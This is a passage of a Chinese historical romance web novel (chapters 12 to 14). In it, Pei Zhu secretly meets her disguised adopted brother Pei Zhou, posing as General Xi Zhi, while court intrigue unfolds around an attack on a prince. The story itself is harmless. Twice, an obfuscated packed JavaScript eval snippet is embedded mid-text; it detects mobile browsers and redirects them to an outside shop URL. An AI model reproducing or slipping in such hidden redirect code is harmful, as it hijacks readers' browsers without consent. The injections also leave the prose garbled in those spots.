都怪锦鹃这妮子胡说八道,害她胡思乱想,更是乱写。 裴珠伸手便要将这张纸笺揉作一团,却又止住动作,终是只叠起置于一旁。 她又另取一张纸,才郑重写下「赠奚将军,炙肉烤鱼香辛调料」。 这时外头竟又传来裴大老爷和母亲的争执声音,仿佛是要朝她的屋里来。 裴珠边伸直脑袋去看,边胡乱将手边纸笺塞进锦匣中,合上匣盖,又低声叮嘱锦莺,让她快些去将这锦匣添入府中单为奚将军备的谢礼中。 锦莺听命而出,而她手忙脚乱将纸笺随手往被褥中一塞,让锦鹃将笔墨与小几都收走,随即卧回榻上,头转向里侧,平缓呼吸,假作仍在沉睡。 敌方来势汹汹,她还是假寐以应敌吧。 果不其然,裴大老爷似乎才得知她落崖后竟还在山中歇了一夜,正气势汹汹要来责难——他立刻便疑心裴珠是与外男一道呆了一夜。 见她睡得沉,母亲心平气和解释,“那日送珠儿回来的是英国公麾下的女将军,想必救她的亦是这位,老爷何必太担忧,若传到外头去,怕是要曲解了老爷的爱女之心……” 无事发生也得被他亲自传成有事。 裴晖沉着脸,自她与榻上熟睡的裴珠身上来回看了几遭,哼地一声,甩袖便走了。 待他步伐远去消失后,温玉堇才轻声笑,“还不睁眼?” 裴珠扭过头来,露出透粉面颊,嘻嘻一笑。 “知我者莫若娘亲也。” 她唉声一叹,“父亲这下,应该不会再杀个回马枪了吧?” 母亲轻抚她的面颊,“他已携礼去了英国公的禅院,想必不会再折返了……” * 英国公禅院。 “那日匪徒一路在山上围杀,臣派亲卫已前去追剿,谁料竟仍有漏网之鱼伤了殿下贵体,殿下竟还亲自来探望,臣感激涕零,愧不敢当……” 禅房之中,三皇子关晟高坐主位,见闻铮要朝他叩拜请罪,忙起身将他扶起,“国公说的哪里话,若无国公麾下将士先一步剿清大半匪徒,想必我怕是不止受这点子轻伤了……” 他的目光朝手臂一扫,笑中含着隐隐冷意。 闻铮亦随之望去,又垂首更低。 那日他遇袭下山途中,恰与三皇子偶遇,正见礼寒暄之时,谁料不知何处又有数支暗箭射来,正伤了三皇子的手臂,幸而箭上无毒,且刚好擦着三皇子的臂膀没入雪地之中,并未重伤。 三皇子沉声道,“我已禀明父皇,定要派人查清这匪徒来路,胆敢在京郊刺杀我朝重臣与皇子,形同谋逆,罪无可恕——” 闻铮闻言抬首,目光在三皇子关晟面上一顿,随即郑重抱拳,“三殿下英明。” 关晟神色稍缓,又温声笑道,“公爷何必这般见外,我自幼便常听着您抗敌卫国的英绩长大……” 闻铮惭愧摆手,“三殿下言重了,老臣这尺寸之功,何足挂齿……” 关晟亲自扶他落座,“先皇后是我的嫡母,又与母妃情同姐妹,国公既是先皇后亲弟,便如母妃亲弟,几乎就是我半个长辈了……” “此番得知国公遭北蛮人暗算重伤,母妃亦是十分挂怀……是以那日为六妹祈福之时,才想着亦来探望,谁料刺客来袭,我又受了伤,才匆匆离去,没能同国公说上几句话……” “先皇后”三字一出,闻铮微微一怔,又笑叹,“长姐在世时,一向与淑妃娘娘交谊甚笃,昔年闺中同游,还常唤臣随行护卫……” “后来臣随父亲驻守西北,长姐长留京城,寄来的信上提及娘娘的次数,竟比臣这个亲弟还要多些……” 他神色放空,遥望牗窗之外,似是忆起从前。 良久才一拱手,“有劳殿下与娘娘挂心,臣所中这毒伤幸有玄智大师妙手医治,已好了大半,余毒清除不过还需将养些时日……” 关晟关切颔首,“如此我便放心许多,此番亦带来些许宫中秘制丹药,与温补之品,其中或有能助国公调养之物……” 闻铮领受厚赠,又一路将另有要事的三皇子恭送至院门,才缓步回了禅房。 这时,内室之中才有数人现出身来。 黄谦抚着胡须,意有所指,“三皇子既在此,公子与公爷便彻底不必担心了……” “陛下已下旨命三法司共查雁南山此案,负责此案的大理寺少卿万柏青虽与薛党牵扯甚深,恐难持公正,但既有三皇子在,又岂会轻易放过这个机会……” 薛党,即薛荣贵妃与其子二皇子乃至外家薛门一系,与三皇子一派,是天然死敌。 若只有国公一人受伤,怕是极难深查,但三皇子既是正儿八经的苦主,他绝无可能错失良机,必定迫不及待要将这“行刺”的罪名,抢先一步扣到二皇子与其背后薛党的头上。 恐怕他自己也不知,这口黑 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闻铮瞥向裴洲,见他微微摇首,自己才理了理外袍,起身独自向禅房外间去。 …… “四哥哥伤了腿脚,不便行走,怎会不在房中,你莫非是在诓我?” 四哥裴洲的禅房外,裴玥领着丫鬟又碰了钉子。 只见四哥身边的那个滑头小厮牢牢挡在门外,张口便是四爷不在屋中,命他守好禅房,谁来了也不能擅闯。 “六姑娘大人有大量,还请不要为难小的……” 裴玥恼怒至极,狠狠瞪了他几眼,环顾四周,竟还有路过的沙弥转头朝这边望了过来。 她强压下火气,重端好姿态,只轻扫了丫鬟绿琴一眼,示意将带来的食盒递过去。 “这是我在府里亲自熬的黄芪当归乌鸡汤,正合你们四爷养伤服用……” 裴玥一字一句强调,“记得好好交到你们爷手里,说清楚是他的六妹妹来探望他时带的,知道了吗?” 见这小厮赔笑接了过去,她又深吸一口气,忍住不去瞪他,领着绿琴掉头就走。 只是愈想愈是不甘心。 她缠着父亲一道来隆兴寺,冬日冒雪登山,好不容易才到这里,若是连四哥的面都没见着就走了,岂不白费了这一番辛苦功夫。 想到此,她步伐慢了下来。 抬眼看天色渐晚,就快到要随父亲下山的时辰。 裴玥在山寺禅院外的长径边徘徊,忽而远远见得一队戎装兵士执戟列队,朝某个院落而去,声势甚为浩大,心中不免疑惑,这山寺之中哪儿来的这么多兵士。 丫鬟绿琴柔声劝,“姑娘,咱们还是回太太的禅院去吧,这山里前两日才有匪徒作乱,五姑娘就是受了这个牵累才受的伤呀……咱们也须小心些……” “哦……那个方向就是救了五姐的英国公爷的禅院了?也是,方才爹爹似乎就是往那儿去的……” 不顾绿琴的小声劝阻,她脚步不停,只想凑过去瞧上一瞧。 说不准,四哥也在那儿呢! 只见那队伍大半进了禅院,忽有一道身影缓缓从院内走了出来,那人一身玄衣劲装,在雪地里极为醒目,偏头过来,竟戴着个黑铁面具,遮蔽了大半面貌,面具下两道视线几如淬冰的薄刃,直直朝她的方向刺来。 分明瞧不清脸,此人通身形容却宛若阴森罗刹,竟无端勾起了她深埋于心的一丝熟悉惊惧。 裴玥脚底冻在了原地,不再向前。 这个人…… 仿佛在哪里见过! 记不清何时何地,更不清楚究竟是谁,但这一幕为何这般似曾相识? 裴玥掉头便往太太的禅院奔去,唯恐脚下慢了,会有恶鬼追撵上来。 直到随父亲下山,登上马车,许久后,她才终于从模糊的前生记忆里,拾起了那一点记忆碎片。 ——她确实见过这个人。 只是当时匆匆一瞥,那人倏而消失,又玄衣面具通身漆黑,她一直以为自己不小心见到了来锁魂的地府阴差,吓得回去做了几宿的噩梦。 前世,同样是一个雪夜。 素幡低垂,烛泪堆山。 线香青烟袅袅如诉,纸灰低回,随阴风漫卷。 那人身影飘忽,宛若鬼魅,提灯自远处而来,一步一步,朝幽寂灵堂而去。 裴玥彻底想起来了—— 上辈子,她曾在五姐裴珠的灵堂上,见过此人! 12. 如故 英国公禅院。 “……多谢公爷及麾下将士勇毅仁心,于危难中救小女于生死之际,救命之恩,形同再造!” “裴某教女无方,致使她山寺遇险,又劳动国公爷您麾下将士奔波涉险,更是于心难安,今日特来,第一为谢恩,第二便是替我裴家向您请罪!……” 话音未落,裴晖已拱手欲拜,闻铮连忙上前搀住。 “裴大人实在言重了!救助百姓自是我与部下的分内应尽之事,何来请罪一说……” 这番来回推辞客套了好一会,裴晖方命仆从奉上各式锦匣谢礼,道些许薄礼,聊表敬意,万望公爷笑纳。 闻铮见他这般架势,心知再推却反倒要引出更多虚礼,便顺势道,谢裴兄厚赠某却之不恭,命管事收下。 又请裴晖用茶,二人在书房中闲话半晌,从腊月时令聊到边地风物,乃至朝中动向,直至天色向晚,裴晖才终于起身告辞。 闻铮抬眼见日头西沉,心道若他此时再不下山,怕就是要赶夜路回京了。 送客后,他信手展开礼单,良久,摇头轻哂。 这位伯府大老爷,他外甥的养父,父丧三年仍未正式袭爵的裴晖裴大人,倒真有几分意思。 半日之间,谢遍他与其麾下将士,却始终未提真正救下裴小姐的奚指挥之名姓一句,言谈间更是屡屡以“小女无状”为谦,不知是文人重礼教,才欲与奚指挥撇清干系,还是…… 压根未曾细问过其中详情? ——这礼单上分明写着“敬谢奚将军”字样,再瞧礼盒,更是清楚做了标记。 他压下这诸多猜测,只扬手吩咐,“将威远伯府送给奚指挥的那份谢礼,一并放到他房中去……” …… “奚指挥”亲见那份谢礼,已是夜阑人静时。 他在桌旁逐次将这些谢礼锦盒打开,只见有紫檀木嵌玉如意一柄,百年老参一对,镔铁雪花匕首一口,织金蟒绒缎四匹,另附程仪三百两。 这般周全厚重,一见便知是母亲的手笔。 只是翻到最后,见角落还搁着一只略小些的锦匣,形制竟有几分眼熟。 裴洲心头微动,伸手掀盖,只见一叠素笺严严实实覆于其上,掩住了底下那些物件。 他拿开素笺,其下被两张纸笺遮掩住的,分明是一排阿珠的妆粉铺子里用来装香露的瓷瓶。 ——当年他随长辈南下守孝,她特取了新烧制的这种细口瓷瓶为他分装她亲自调配的调料香辛粉,笑道若是南地守孝禁食荤腥规矩严苛,他就可去山中打牙祭,到时这小瓶装调料便可派上用场。 后来他以奚止身份去西北投军,乃至归京,亦是随身携带…… 可如今,阿珠将这些为他准备的瓷瓶装调料香辛,竟送了一匣子给了一位不过一面之缘的“奚止”! 裴洲握着那张有阿珠字迹的纸笺,指尖渐而用力,落下重重痕迹。 良久,才深深吐出了一口气。 ——阿珠心思至纯,绝无杂念,必是因着“奚止”那夜为她烤鱼果腹,才想到以香辛调料为报,这不算什么…… 念及此,他勉强平复心绪,又从匣中取出一瓶,正要放置一旁,孰料又发现瓷瓶下竟还压着张叠好的信笺。 待展信一览,裴洲胸口顿时汹涌腾起双重熊熊烈火—— 阿珠竟然! 修书相约一个陌生外男“奚止”,夜半院中相会! …… 已过亥时,裴珠仍妆扮齐整,歪在窗旁的软椅上。 锦雀捧着灯过来,柔声劝道,“姑娘,都这个时辰了,仔细伤了眼睛,不如奴婢服侍您卸妆盥洗,早早歇息了吧?” 她的手边握着本带上山解闷的的话本,眼里却浑然不知究竟看到了哪章哪回,心思早已流转飞去了檐外山中。 锦雀轻唤了好几声,她才回过神来。 眼见三个丫鬟都围在自己身边,锦鹃捧铜盆热水,锦莺取软巾胰子,正静静候着她。 而窗棂外一片幽寂,今夜无雪无云,孤月已渐渐升上檐梢,偶尔听得一阵风声虫鸣,除此之外,别无它声。 绝无任何她隐隐期待的声息。 唉。 白日里为躲裴大老爷的回马枪,她一直缩在榻上不曾起身,待到晚间掀开被褥,这才发现她写的那张香辛调料说明纸笺,竟好端端还在这里,没有塞进锦匣中。 她心里一咯噔。 这张纸笺在榻上,那“那张纸笺”去了哪儿。 她叫上几个丫鬟一道沿着床榻搜查半天,也没查到踪迹,便就此认命——那张邀约奚将军见面的纸笺,恐怕,是真的阴差阳错塞进了那锦匣中了! 苍天。 这要是被他瞧见了,他该怎么想? 是否觉得她轻浮,昏头,神经错乱? 竟然邀约一个只有一面之缘的外男夜半私会…… 哎,还是祈祷他根本无暇去开锦匣,等他亲眼看到时,或许她早已下山回府。 但裴珠心里揣着这件事,难免七上八下,疑神疑鬼,既担心他看见,又担心他再也看不见。 哪儿还能有睡意。 眼见夜深人静,再无声息,她吊起的心松快开来,只是又隐约莫名失落。 她伸手揉了揉自己的脸颊。 ——裴珠,你在想什么呢,奚将军毕竟是个正人君子,他就算看到了这信笺,也必然不可能赴约的呀! 裴珠无精打采,由着锦莺替自己卸了珠钗散了长发,又盥洗梳漱,里外收拾妥当后,换上寝衣,拄着四哥新送来的竹杖,慢吞吞挪回榻边,身子一歪便滚进了锦被里。 算啦,只是吊桥效应而已! 大概是因为她太久没和模样出众的异性相处,脑子才一时错乱,惦记个不停。 等她伤好了下山回府,想必从此与他也不会有交集,以她这万事不过心的性子,大约半月,就能忘得一干二净。 裴珠暗自鼓励自己。 锦雀悄声熄了灯烛,退去了外间,房内顿时陷入浓稠漆黑。 她轻轻哼了一声,拽起被衾拉高过头顶,准备入睡。 …… 半刻钟后,裴珠慢腾腾地支起身子,披衣拥裘,又系上软绒披风,这才拄起竹杖,挪回了轩窗边。 山寺严寒,她早便吩咐丫鬟不必守夜,只有轮值的锦雀卧在相邻的外间榻上听见了动静,睡眼惺忪问,“姑娘,你要去净房吗?怎地不唤奴婢?” 裴珠忙让她继续歇息去,“我这些日子睡得太多,今晚不困,准备坐在这儿赏月,不必管我。” 锦雀纠结着没再起身。 裴珠偏头托腮,借着清凌凌的月色朝窗外望去,隐隐瞥见禅院外一只飞鸟自夜色中翩然掠至,正乖巧收了翅膀栖在高墙之上,仿若正凝神观景。 少顷后,又有一只自近处穿梅渡雪而来,绕着它盘旋了数圈,才小心敛翅落到了先前那只的身侧,与它并排而坐。 倒像是早便在梅枝上候着它了。 “唉,鸟儿都知道夜半赴约……”人却不知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那,奚将军你会行不轨之举吗?” 此言一出,他未曾被面具的遮住的下半张脸倏地绷紧。 纵然夜色昏暗,裴珠仍清楚察觉到,他的脸上似乎泛起了一层薄怒。 说话须张弛有度,追得太紧让正经人真生气了可不妙。 裴珠顿时收敛玩笑神色,端正仪态,语调转得那叫一个大义凛然。 “自然不会!” “奚将军曾与我有救命之恩,举止亦从不曾逾距,怎会是那种卑鄙阴险小人,我又何必畏首畏尾,被礼教大防束缚呢?” 裴珠倾身,举起火折子点了窗边架子上的一盏灯,烛火悠悠跃动,火光映在她素白面颊,仿若上了一层稀世釉彩。 “闺阁女子本就难与外人来往相识,我不过是敬佩奚将军为人既有武将报国救民英气,又有江湖剑客豪爽侠气,自认有几分投契,这才不由多说了几句话罢了……” 裴珠的目光轻轻掠过这张覆着面具的脸,只见方才他紧绷的面庞亦渐渐变得松缓,似乎张口欲言。 她却唇齿之间衔笑,先一步道,“古有越女与袁公以剑会友,亦有红拂女与虬髯公倾盖如故,莫非在奚将军眼中,天下男女之间,只剩瓜田李下之嫌不成?” 13. 纸笺 奚将军深深望她,神情微动,再未开口。 良久后,才极其细微地喟叹一声。 “裴小姐心思质纯,不愿受世俗礼教所累,可这天下人却非尽是如此,身处此间尘世,唯有和光同尘,才是安稳度日之道……” 言语之间推心置腹,极为诚恳。 显然是将她方才那些话,都认真听了进去。 裴珠忽然生出几分惭愧。 她方才引经据典胡诌一通,看似强调她只是想和奚将军做“知己友人”,实则只是对症下药,见机行事。 ——对待古板守礼的君子,当然是先扯一张不会令对方过于戒备的大旗。 就像前世在现代,想追她的某些男生也常口口声声说想和她做好朋友,她不过是将那些人的招数修改一下,搬过来了而已。 只是奚止这位朴素端方古代人,全然不知这些早已变成烂俗套路的花花肠子,还真心实意以为她是枚单纯傻白甜,为她的将来忧心。 身处此世,唯有和光同尘。 这话,又何尝不是她意外穿来此世近二十年的生存哲学呢。 竟从个不过才见了两面的人口中,听到自己的心声。 哎。 骗老实人还怪不好意思的。 正胡思乱想时,眼前忽然被递来一张颇为眼熟的纸笺,裴珠怔愣片刻,才反应过来,那竟是—— “裴小姐你曾遗落在山崖木屋之中……” 是她同锦雁在隆兴寺中求来的那张姻缘上上签。 …… 裴珠去看卧床养伤的锦雁时,她才刚有些说话的气力,就忙问那日求到的签文是否有呈给太太看,得知签纸似乎已在混乱之中遗失,难过遗憾远胜裴珠百倍,险些就掉了眼泪。 裴珠不免哄了她两句,说佛祖既已赐下了这上上姻缘签,便不会因丢了张小小签纸就不算数。 甚至还说了几句违心胡话,“说不定正是天意,那签纸丢了,正是为了要被天定良缘之人捡去呢……” “千里姻缘一线牵嘛!” 此时此刻,裴珠抬首又打量了几番眼前人,一时失语。 难不成,真是因为是在寺中佛祖跟前,才总出口成真? 看来,往后还须多说些好话才成! 裴珠双手将签纸接过来,转而忽问,“奚将军可曾看了其中内容?” 见他似乎语有凝滞,她心底偷笑,面上却一本正经。 “……这纸笺不是旁的,乃是我前些日子在这寺中求的姻缘签,大师解签说我好事将近……” “既然奚将军偶然拾到,想必也是佛祖示意,要让您也沾一沾这喜气,早日遇见天定良缘呢!” 说着她又掩唇轻笑,“瞧我在胡说些什么,奚将军何必再等良缘,家中高堂应该已为您定了亲事了罢?” “毕竟婚姻一事,向来是父母之命,媒妁之言……” 裴珠说到此便打住。 庭中明月高悬青空,她遥遥眺望,却仍停留一丝余光在奚止身上。 心中默数。 一,二,三,四…… 奚止终于开口。 “我家中双亲俱不在世。” 啊? 裴珠始料未及,忙道,“是我失言了。” 阿弥陀佛。 罪过罪过。 佛祖菩萨跟前果真不能乱说话,她求签那日不过是随口胡说,怎么眼下真的个个应验了? 真是邪了门。 奚止的话还未完,“亦不曾定亲。” 只是话音沉若霜雪,难辨心绪。 话已至此,裴珠自觉此方小天地中,恐怕再难营造什么旖旎氛围,无奈抬头望月,心想今夜大约不是撩人的黄道吉日。 不如还是趁早道别,各自歇息为妙。 “那……” “今……” 奚止竟与她同时开口。 裴珠自觉是主家,自然要请客人先说,“奚将军请说。” 面具半覆的脸上只见眼中沉幽,他的嗓音和缓许多。 “今日见面之事,奚某不会外泄,也望裴小姐来日小心行事,不再重蹈覆辙。” 他还真是顺眼版本的“裴大老爷”啊! 都喜欢一样的话翻来覆去地说好些遍。 不过,既是好意,裴珠自是欣然领受,她飞快从袖中掏出了另一张纸笺,自顾自递到他跟前。 “既收了一张签文,那再还你一张纸笺。” 裴珠笑语晏晏,“请奚将军回去后再看。” 见他似乎无甚反应,裴珠伸着的手捏着纸笺晃了晃,须臾过后,他才伸手接过。 裴珠这才开口,说她早打算说的话,“奚将军遵规循礼,不曾问我名字,只是能见两次面,已称得上幸会,我便不请自答……” 她稍稍仰首,轻快开口。 “我姓裴,单名为珠,如珠似玉的珠。” “有来有往,还请将军告诉我你的名字吧?” 早便知道他的名字又如何,得让他亲口告诉自己,才作数。 奚将军定在原地,隔着一张漆黑面具,他的眼底映着窗台摇曳烛火,望向她的目光莫名有些复杂难辨。 她知道他在犹豫,也以为自己知道他犹豫的原因。 可这一刻,裴珠忽然觉得,似乎仍有她猜不透的某个原因。 许久后,奚将军才终于开口,嗓音凝涩,像做了一个极其艰难的决定。 “我单名为止,高山仰止的止。” 眼前人笑靥如花,对他仍是一无所知,只弯了眼尾,唇齿之间有一声轻巧萦绕而过。 “奚止。” 他也终于,在这极短暂的瞬间里,抛却一切杂念。 轻声念道。 “裴珠。” …… 子时过半。 院里忽起一阵西风,将虚掩的棂窗猛然洞开,卷起了书案上一沓未被镇纸压住的纸页,哗啦啦落了满地。 小厮修林从外间几步冲进屋,一面抢着去关窗,再轻手轻脚一张张拾起拢好,规整回案上。 他眼里无意一扫,最上面那张纸竟是一张浮有玉兰暗纹的花笺,隐隐能嗅到些许香气,便不自觉念出了纸上那几列字。 “……东阳门大街,南第三家落云轩,七日一信,盼君及时至……” 恰在此时,仍做“奚将军”打扮的四爷从外间进屋来。 他托着纸笺急忙解释。 “方才外间刮风,小的关窗来不及,爷的书案上这些信件洒落一地了,不知道顺序是否乱了……” 却见他这位主子神色忽变,不由分说,将他手里扬起的那沓纸张夺了过去。 只单单将最上方的那张抽出来,齐齐对折,又从书案上打开了个上锁的匣子,将这张花笺小心塞了进去,再细心锁上。 那显然是四爷的珍惜之物。 修林心下惴惴,只得垂首听训。 四爷却并未多说些什么,只是淡声嘱咐,“往后门窗记得及时关好。” 修林如蒙大赦,忙道了声是,退了出去。 可心中难免疑虑。 近来,四爷仿佛格外阴晴不定,他却根本想不明白是什么原因。 这让他感觉很不妙。 他可是立志要做四爷身边第一心腹的人! 怎么如今揣摩上意也做不到了。 修林颇有些沮丧。 他和兄长修竹,都是当年被四爷亲自从府外挑进来的。 ——他家本是山民出身,八岁时父亲山中猎虎重伤不治身亡,母亲罹患肺疾,急需大笔银钱,兄弟俩走投无路插标自卖自身时,四爷不仅出手买下他们,更遣人及时请医延药,这才将母亲从鬼门关拉了回来。 自此他们便立誓效忠,生死不移。 四爷宽仁,竟允他跟着一道读书习字,他便愈发刻苦上进,从不懈怠,最终和哥哥一起通过四爷的考验,成为了他真正倚重的心腹。 ——从此,亦得以窥见四爷最大的秘密。 可即便如此,四爷的诸多行事,他也总揣摩不透。 就比如,今日四爷伤才刚好,就以“奚将军”的身份仓促出门,夜半才归,不过在内室稍作停留又再次出屋,回来时身披风霜,见着那张自己捧在手中的花笺后,更是神情骤变。 那张花笺,究竟藏着什么秘密。 “落云轩……落云轩……” 好耳熟的名字…… 修林念叨了几回,忽而福至心灵。 “这不是五姑娘开的妆粉铺子名嘛!” 再一联想那花笺上的内容。 修林恍然大悟,又惊得想捂住自己的嘴。 ——该不会,是五姑娘同外男通信,约好今后借落云轩联系,却被四爷这个哥哥亲自抓包了吧! 四爷向来视妹如命,因此气得喜怒无常,倒也不足为奇。 哎,有这样一位文武双全,手段百出的大舅哥。 将来的五姑爷,你怕是有的是苦头吃喽! …… 数日过去,裴珠脚伤虽未完全痊愈,但也要随母亲下山,毕竟已至年关,母亲总要回府主持大局。 临行前,四哥拄着拐杖的身影现身在禅院门口,他穿着雪灰色的直缀,披云青色大氅,映着刚下的细雪,微带病容的一张清俊脸上稍显苍白,只是见到她时又牵起唇角,露出一抹浅笑。 他说自己还要在寺中停留一些时日,就不和她们一起回城了。 裴珠心知缘由——那日裴大老爷上山,自然是一字未提四哥,便如这几年里,他也一样当四哥从不存在过般。 从前的父子,如今的陌路,四哥肯定是不愿与她们同行,省得到时候又招了裴大老爷的眼。 裴珠目光一转,又落到他身后修林手上捧的长匣子上。 “那是什么?哥哥你要送我的吗?” 四哥亲自递给她,“你打开看看。” 裴珠迫切启匣,只见匣中是一卷新画轴,展开便见落雪红梅仕女图——正是上次她在四哥案上见的那幅。 那日她见过此画后,便上山遇袭后又落崖受伤,这些天都无暇想起这些。 她喜盈于色,“你动作这样快?那会还没装裱好呢!……” “为了表彰洲大画师与装裱师的壮举,我要再送你一套我铺子中的面脂,是你最爱用的清竹香!目前还未售卖呢……” 裴洲屈指在她额角轻叩,“这次,我应当不是你曾说的那个‘试验品’吧?” 裴珠抱头,不满一瞪,“怎么会?这个面脂数月前便已研制出来,早便请人试用了,我本想过年时再送你呢……” 说着说着又有些心虚——毕竟,她早有前科。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807014|190370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 身在古代,她自忖虽成不了一番伟业,但悄摸经营铺子赚钱,给自己留后路还是能做一二,便就重操旧业,领着聘来的师傅在本朝时兴的妆粉基础上研制新品,加以现代已经过重重考验的经典营销模式,顺利开起了自己的妆粉铺子——落云轩。 几年里红红火火,铺子数次置换,去年便已顺利搬到京中最繁华的东阳门大街,落云轩的新式妆面也已风靡大半京城。 不过,早期创业时总需从身边抓些“小白鼠”来,娘亲那边她不敢造次,但四哥这里,她总厚脸请他做白工,试用新品不消说,就连落云轩牌匾与器物上的印记都是请他赞助画的。 裴珠心虚时便总爱遁逃,眼下行走不便,只好委婉下逐客令,“哥哥你这腿伤未好,还是快回屋去,同我一般多卧床休养吧……” “等你回了别业,我伤好后再去找你……” 她说着便又离题,“不过,你还要在寺中待多久呀?同你那个友人一起?若他是进京赶考的举子,干脆带去别业住便是……” “这寺中即便能省些投宿费,但总不能食荤腥,可不利你们保养身体!” 谈及荤食,她也作馋。 寺中不杀生不沾荤腥,除了上次奚将军给她烤的那条鱼,还有裴玥送来的那罐鸡汤,她就再没吃过肉了。 想到裴玥,她转念又问,“上次六妹妹来看望我们时,还曾带了瓦罐鸡汤,四哥你尝着味道如何?” 裴洲眉心微动,“我那时斋戒未过,不好用荤食。” 裴珠继续旁敲侧击,“那,你见着了六妹妹吗?” 裴洲只道,“我那日服了安神汤后便睡了,吩咐不让人进来打扰,六妹妹大约是等了一会没见着我,就先走了吧。” 跟锦雀回来说的一样。 幸好幸好。 裴珠舒了口气。 裴洲一双眼睛微阖,望向裴珠时仿佛若有所思,面色却仍平静如水。 关于不知是中邪还是被掉包的裴玥,自三年前起,他便已命人私下盯紧,时时注意她的动向,尤其是她若与府外人来往之时,更需一一查探禀报。 而祖父停灵的雪夜里,裴玥发疯般冲他喊出的那些话,他一字未信。 因为,裴洲比这世上任何一人都更明了,爱上一位不能轻易表明心迹的人,会是怎样的眼神与心情。 譬如水中探月,镜中折花,雾中行路,梦中问心。 ——近在咫尺,仿若触手可及,却又远在天涯万里。 裴玥的眼里不见任何爱意,唯有一种没有缘由的的奇货可居。 他怎么可能相信她爱慕自己。 若不是连着监视她三年,也未发觉她曾与什么机要可疑人物来往,裴洲甚至怀疑,她怕不是已经知道了自己的真实身份。 那个如今不超十人知晓的真实身份。 ——她才会有如此反应。 …… 不过,此番回京后,阿珠竟也突然在意起了他与裴玥的来往…… 裴洲脑中纷乱,忽地想起了三年前离京时,阿珠曾来他院中,毫无缘由地谈起前朝进士娶养妹一事。 他那时只以为阿珠借典警示自己,莫要对她起兄长不该有的念头,一时心神俱震,无暇细思,可后来三年内的书信来往,乃至如今回京,阿珠待他一如往昔,并无任何异样。 既像全然忘却,又像从未知晓。 现在想来,莫非竟是因为—— 裴洲抬眼,只轻描淡写笑,“怎地想起来问这个,莫非是担心她会打扰我养伤不成?毕竟兄妹一场,她来探望我也算一番心意……” 兄妹一场?一番心意? 你上次还说如今自己已是外男,应和裴玥避嫌呢! 男人的心,真是六月的天,说变就变。 裴珠心底直哼哼,眼里却蹭得冒出了两簇火苗,小孩耍赖般道,“那不行!” 却见裴洲支着下巴,好整以暇问,“为什么不行?” 裴珠磨了磨牙,你还问为什么? 她气得快拍桌,“说不行就是不行!” “裴玥这丫头从小什么都爱和我抢,父亲从外头带回来什么新鲜玩意分给我们,她总是在分好后,再耍赖让父亲把我那份给她——” “她一贯见我有什么,别管她自己有没有,也要来抢一份!” 裴珠凶巴巴拧紧眉头,“就算四哥你已经离开伯府,但你仍然是母亲的儿子,永远是我的兄长,跟亲哥哥没什么两样!” “你可绝对不能偏向她那头!” “没我的允许,不准你和她见面!” “听到了没?” 话说得这样无敌霸道,裴珠的心里却羞耻到啊啊啊尖叫。 简直恨不得为自己掬一把辛酸泪。 为了四哥的大好前程,她这也算是豁出去了。 只是她好不容易将这些话说出口后,四哥竟然只顾着笑,先是闷笑,后面笑出了声,最后竟笑得开始喘气。 她看得出来,那是一种发自肺腑的笑意,他苍白的脸颊都浮上了一层血色,一双眼睛亮如日光下结冰的寒潭,似乎能清晰看见她的倒影。 惹得裴珠也顾不上恼怒,摸不着头脑地笑了。 她听见四哥开口,嗓音亦是温柔噙笑,“好,都听阿珠你的。” ——毕竟,我是你永远的,亲哥哥。 14. 母女 山雪濛濛,琼枝覆素,裴珠同母亲在禅院门口与四哥挥手作别,她被几个健壮小厮用轿辇抬下了山,乘上马车,颠簸数个时辰后终于抵达伯府。 才离家不过数日,裴珠仿佛已出走半年。 她进屋便懒散倒进命人打的摇椅沙发里,悠悠晃了几圈后,往口中塞了瓣新剥好的蜜桔,浑身松软瘫作一团,闭眼长舒了一口气。 还是家里好。 晚膳前,母亲身边的冬玦又来传话,让她去正院。 裴珠近来拄拐杖已熟能生巧,在左右两个丫鬟的假动作搀扶下,她慢悠悠穿过游廊再到正院垂花门,便见穿堂下站着一排捧着账册等待传唤的管事们,个个脸带焦灼。 先一步回府的刘嬷嬷远远瞧见她,也只顾着笑道一声“五姑娘回来啦”,便领着一列抬朱漆箱笼的小厮,赶忙往东厢库房去了。 待到掀帘进屋,热气便裹着算盘珠响扑面而来,母亲正端坐在黄花梨长案后,左手按着摊开的田庄收成册子,右手执笔批注,时时抬头朝她面前立着的管事问话。 见裴珠来了也只偏头看她一眼,点了下头。 真是辛苦啊。 刚一回府就忙着处理家事。 长案另一端,正坐着她几个时辰前才背后“蛐蛐”过的裴玥,亦是一手账册一手笔,眉峰紧蹙,额角冒汗,显然专注至极,无暇顾及自己。 ——母亲在教习管家一事上向来力持公正,堪为严师,第一年先是教习要领,再命观摩数日,最后各自领账册核算,等到了次年,更是凡错漏超出一定程度,不论缘由统统加训加罚。 裴玥从小便事事要跟自己争先,奈何这丫头好像生来对数字不敏感,算术这一道自小便挨了不少罚,在母亲这个“教导主任”跟前核算账册,不亚于期末大考,难怪紧张成这样。 裴珠嘻嘻偷笑,咕嘟饮下一大口夏环刚上的杏仁露,熟稔在长案另一侧坐下,请春佩去外面传唤下一位管事进来,不久后她也如母亲般时而握笔批注,时而抬头问询起来。 堂内管事来来回回,纸页声起起停停,直到天色已黑,才终于大半结束。 母亲这才直起身,又将她们两个都叫到跟前,从案边抽出了张做工精美的请柬,温声道,“你们大姐姐的婆家,成国公府的老太君过些日子便要做六十大寿,请柬早已递了过来……” 裴珠还未反应,裴玥猛然双目放光,喜得从椅子上一跃而起,“那我岂不是可以去见姐姐了!” 见“夫子”正无言静望着她,裴玥不免讪讪敛了裙摆,重又老实坐下。 